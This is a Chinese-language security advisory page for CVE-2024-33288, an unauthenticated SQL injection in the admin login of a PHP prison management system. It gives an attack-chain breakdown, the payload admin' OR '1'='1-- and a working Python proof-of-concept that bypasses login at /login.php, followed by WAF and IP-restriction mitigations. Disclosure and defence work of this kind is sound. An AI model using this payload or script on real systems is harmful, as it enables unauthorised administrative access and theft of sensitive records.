IPBUF安全漏洞报告
English
CVE-2024-33288 CVSS 7.3 高危

CVE-2024-33288: Prison Management System SQL注入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2024-33288
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Prison Management System Using PHP

相关标签

SQL注入Prison Management System远程攻击无需认证

漏洞概述

Prison Management System Using PHP v1.0版本被发现存在严重的SQL注入漏洞。该漏洞位于管理员登录页面,由于对用户提交的“username”参数缺乏严格的输入验证和过滤,导致攻击者无需身份认证即可利用此漏洞。攻击者可构造恶意的SQL查询语句,从而绕过登录验证或窃取数据库中的敏感信息,对系统的机密性、完整性和可用性造成威胁。

技术细节

该漏洞属于典型的SQL注入漏洞,主要影响管理员登录功能。在Prison Management System v1.0的后端处理逻辑中,直接将用户通过POST请求提交的username参数拼接到SQL查询语句中,未使用PDO等预处理机制进行安全防护。攻击者可以通过在username字段输入如 ' OR '1'='1 的恶意Payload,改变SQL语句的原始逻辑。当后端数据库执行该语句时,由于恒真条件,攻击者可以无需正确密码即可登录后台,甚至利用UNION SELECT指令读取数据库中的其他敏感数据。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标正在运行Prison Management System Using PHP v1.0。
STEP 2
2. 武器化
攻击者构造特定的SQL注入Payload(如 ' OR '1'='1),旨在绕过登录验证逻辑。
STEP 3
3. 投递
攻击者向管理员登录页面(/login.php)发送HTTP POST请求,将恶意Payload注入到username参数中。
STEP 4
4. 利用
后端服务器接收请求并拼接SQL语句执行,由于注入的逻辑恒为真,数据库返回登录成功的会话信息。
STEP 5
5. 安装/达成
攻击者成功获得管理员权限,可进一步访问系统功能或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_login(target_url): # Target login endpoint login_url = f"{target_url}/login.php" # Payload for SQL Injection to bypass authentication # Example: ' OR '1'='1 payload_data = { "username": "admin' OR '1'='1--", "password": "random_password" } try: # Send POST request to the target response = requests.post(login_url, data=payload_data) # Check if login was successful (based on response content) if response.status_code == 200 and "dashboard" in response.text.lower(): print("[+] Exploit Successful! Logged in as Administrator.") else: print("[-] Exploit Failed or Patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1/prison_system" exploit_login(target)

影响范围

Prison Management System Using PHP 1.0

防御指南

临时缓解措施
在无法立即修复代码的情况下,建议在Web应用防火墙(WAF)中添加针对SQL注入的防护规则,拦截包含单引号、OR、UNION等关键字符的请求;同时,临时限制管理员登录页面的访问来源IP。

参考链接